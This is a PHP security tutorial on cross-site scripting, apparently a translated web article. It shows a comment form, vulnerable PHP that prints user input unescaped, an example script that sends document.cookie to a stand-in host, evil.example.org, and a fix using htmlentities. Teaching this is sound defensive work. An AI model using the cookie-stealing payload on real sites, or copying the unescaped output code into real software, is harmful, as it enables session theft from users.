Home > Article > Backend Development > PHP Security-Cross-Site Scripting Attack
Cross-site scripting attack is one of the well-known attack methods. one. Web applications on all platforms are plagued by this problem, and PHP applications are no exception.
All applications with input are at risk. Webmail, forums, guestbooks, and even blogs. In fact, most web applications provide input for the purpose of attracting more people, but at the same time, this also puts themselves at risk. Cross-site scripting vulnerabilities occur when input is not properly sanitized and escaped.
Take an application that allows comments to be entered on each page as an example. It uses the following form to help users submit:
CODE:
<form action="comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> <input type="submit" value="Add Comment" /></p> </form>
The program will notify other users who visit this page Show comments. For example, a code snippet similar to the following might be used to output a comment ($comment) and the corresponding author ($name):
CODE:
<?php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote></p>"; ?>
##This process gives full trust to the value of $comment and $name. Imagine that the content of one of them contains the following code:
CODE:
<script> document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie </script>
If your users view this comment, it is no different than allowing others to add Javascript code to your website source program. Your users will unknowingly send their cookies to evil.example.org and the receiving program (steal.php) can access all cookies via the $_GET['cookies'] variable .
This is a common mistake mostly caused by bad programming habits. Fortunately such mistakes are easy to avoid. Since this risk only occurs when you output contaminated data, just make sure to filter the input and escape the output as described in Chapter 1
At least you To use htmlentities( ) to escape any data you want to output to the client. This function can convert all special characters into HTML representation. After all characters that will cause the browser to perform special processing are converted, it can be ensured that the originally entered content is displayed.
Therefore, it is safer to use the following code to display comments:
CODE:
<?php $clean = array(); $html = array(); /* Filter Input ($name, $comment) */ $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8'); $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8'); echo "<p>{$html['name']} writes:<br />"; echo "<blockquote>{$html['comment']}</blockquote></p>"; ?>
The above is the content of PHP security-cross-site scripting attack. For more related content, please pay attention to the PHP Chinese website (www.php .cn)!